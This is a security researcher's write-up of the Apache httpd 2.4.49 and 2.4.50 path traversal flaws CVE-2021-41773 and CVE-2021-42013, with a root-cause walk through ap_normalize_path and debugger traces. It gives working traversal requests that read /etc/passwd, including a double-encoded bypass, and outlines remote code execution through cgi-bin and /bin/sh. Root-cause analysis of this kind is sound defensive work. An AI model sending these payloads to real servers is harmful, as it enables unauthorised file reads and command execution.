Hacking Apache servers like it's 2004 (CVE-2021-41773)
October 2021 was a wild ride for the Apache httpd maintainers, and quite an earthquake for the infosec community. Below is my analysis for CVE-2021-41773
and CVE-2021-42013
.
Note: Helpful setup files/docs can be found here:
CVE-2021-41773
On October 4th, CVE-2021-41773 was introduced to the world:
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied”, these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
PoC
Payload to re-produce:
GET /pwnage/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Required Apache Configurations:
<IfModule alias_module>
Alias /pwnage/ "/tmp/my-dir-lmao/"
</IfModule>
In this setup, I configured mod_alias
to use the route /pwnage/
and serve files through the /tmp/my-dir-lmao/
directory.
You might be wondering why we’re using mod_alias
to traverse outside of /tmp/my-dir-lmao/
and not just pwning our way straight out of DocumentRoot
(/var/www/htdocs/
) using a simpler payload like GET /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
.
The reason for this is that during the translate_name phase[0], the ap_core_translate
function is called, which leads to a call to apr_filepath_merge
:
#0 apr_filepath_merge (newpath=0x5555556948a8, rootpath=0x555555671548 "/usr/local/apache2/htdocs", addpath=0x555555695d49 "../../../../../../../../../etc/passwd", flags=35, p=0x5555556946d8) at file_io/unix/filepath.c:86
#1 0x00005555555b0293 in ap_core_translate (r=0x555555694750) at core.c:4750
#2 0x00005555555b2bfc in ap_run_translate_name (r=0x555555694750) at request.c:80
#3 0x00005555555b4292 in ap_process_request_internal (r=0x555555694750) at request.c:277
If apr_filepath_merge
is triggered by a route that is handled by the mod_alias
module, the traversal will work. But if not, the return value will be APR_EABOVEROOT
and the request will fail with 403 response. Example from logs:
[Fri Oct 31 12:48:47.281794 2021] [core:error] [pid 61910] (20023)The given path was above the root path: [client 172.17.0.1:62206] AH00127: Cannot map GET /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 to file
172.17.0.1 - - [05/Oct/31:12:48:47 -0400] "GET /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1" 403 199
This is why most attacks we saw in-the-wild are abusing the /cgi-bin
route, simply because it is a very common route makes use in mod_alias
, and is configured in almost every Apache server.
Root-cause Analysis
The bug was introduced here(4c79fd28), as part of a code re-factoring for performance purposes.
The underlying implementation of ap_getparents()
[0] was modified. And a new function was added, called ap_normalize_path
.
ap_normalize_path
is not really documented, so I’ll share a brief walkthrough about the implementation:
- Arguments:
char *path, unsigned int flags
- Retrun value: True if path is ok, False if not
- Logic: The logic of deciding whether a path is ok or not is determined by the
flags
argument. Possible flags:
#define AP_NORMALIZE_ALLOW_RELATIVE (1u << 0)
#define AP_NORMALIZE_NOT_ABOVE_ROOT (1u << 1)
#define AP_NORMALIZE_DECODE_UNRESERVED (1u << 2)
#define AP_NORMALIZE_MERGE_SLASHES (1u << 3)
#define AP_NORMALIZE_DROP_PARAMETERS (1u << 4)
For example, if we call the function with the AP_NORMALIZE_NOT_ABOVE_ROOT
bit set in the flags
argument:
- The function will return
True
if we provide apath
like/a/b/../
- The function will return
False
if we provide apath
like/a/b/../../../
, since we typed enough..
to traverse above the root path (/
)
Soon enough(in the next section of this writeup), you will see how our payload can make this function return True
even tough the function was called with a AP_NORMALIZE_NOT_ABOVE_ROOT
flag enabled. Allowing us to type a path like ../../../../../etc/passwd
.
Overcoming AP_NORMALIZE_NOT_ABOVE_ROOT
Below is a snippet, which is part of ap_normalize_path
. This part is responsible for URL-decoding the requested path. We’ll call it snippet #1:
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
The function also verifies whether the client is trying to escape the root path.
snippet #2:
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* ... */
Both snippet #1 and #2 are part of the same loop, which iterates over the characters of the requested uri. This allows an attacker to type a URL-Encoded dot character(%2e
) in order to execute snippet #1 and make the apache server to avoid entering the code block in snippet #2. Here’s a screenshot from gdb which demonstrates it:
The if
condition will not be evaluated to True, this leads the Apache server to also skip the checks inside this if
code block :^) making the AP_NORMALIZE_NOT_ABOVE_ROOT
flag useless.
Later in execution, the decoded path is being concatenated into /tmp/my-dir-lmao/../../../../../../etc/passwd
and the passwd file is served.
Escalation to RCE
Initially, this was posted as a file disclosure vulnerabillity. However, few days later, researchers on twitter already started discussing about how it’s exploited in-the-wild, and the possibility of leveraging this into a full RCE using Apache’s cgi engine.
Required configs to re-produce:
<IfModule mpm_prefork_module>
LoadModule cgi_module modules/mod_cgi.so
</IfModule>
<IfModule alias_module>
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
</IfModule>
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options None
</Directory>
To gain code execution: we traverse all the way to /bin/sh
-> Apache will treat this binary as a CGI program -> profit. The only thing we need is a way to provide input to the sh
binary via the HTTP request. A short trip into the Apache’s docs will yield the solution for that:
So, essentially, we just need to send a POST
request and treat the HTTP Request body as STDIN
:
gg wp (✿◠‿◠)
CVE-2021-42013: The return
After detecting in-the-wild exploitation of Apache .49, the .50th version was released with a fix: 98246aa9
The bypass was for that quite simple(and, also works on .49 as well). To overcome this, you just need to URL-Encode the payload twice instead of just once:
GET /pwnage/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Although the fix blocked the 1st payload(%2e
-> .
), there are still other parts in ap_process_request_internal
that’s executed after ap_normalize_path
(and before the translate_name phase) which decodes the requested URI again(%%32%65
-> %2e
-> .
):
Here’s r->parsed_uri.path
after stepping to the next line(after ap_unescape_url
):
pwndbg> p r->parsed_uri.path
$93 = 0x555555693d48 "/pwnage/../../../../../etc/passwd"
win :D
Other variants
Another exploitation for this can be done if an Apache module uses the AP_NORMALIZE_DROP_PARAMETERS
flag:
https://twitter.com/ortegaalfredo/status/1445760130818007051?s=20
In the fix for Apache HTTPD (CVE-2021-41773), if you call ap_normalize_path() with the flag AP_NORMALIZE_DROP_PARAMETERS enabled, you bypass the new protection and get *yet another* path traversal. pic.twitter.com/L2T01UPbMY
— Alfredo Ortega (@ortegaalfredo) October 6, 2021
Quite exotic, but still seems like a possible scenario.
Other URLs
- Request proccessing in Apache: https://httpd.apache.org/docs/2.4/developer/request.html
mod_jk
’s implementation(jk_servlet_normalize
): https://github.com/apache/tomcat-connectors/blob/main/native/common/jk_util.c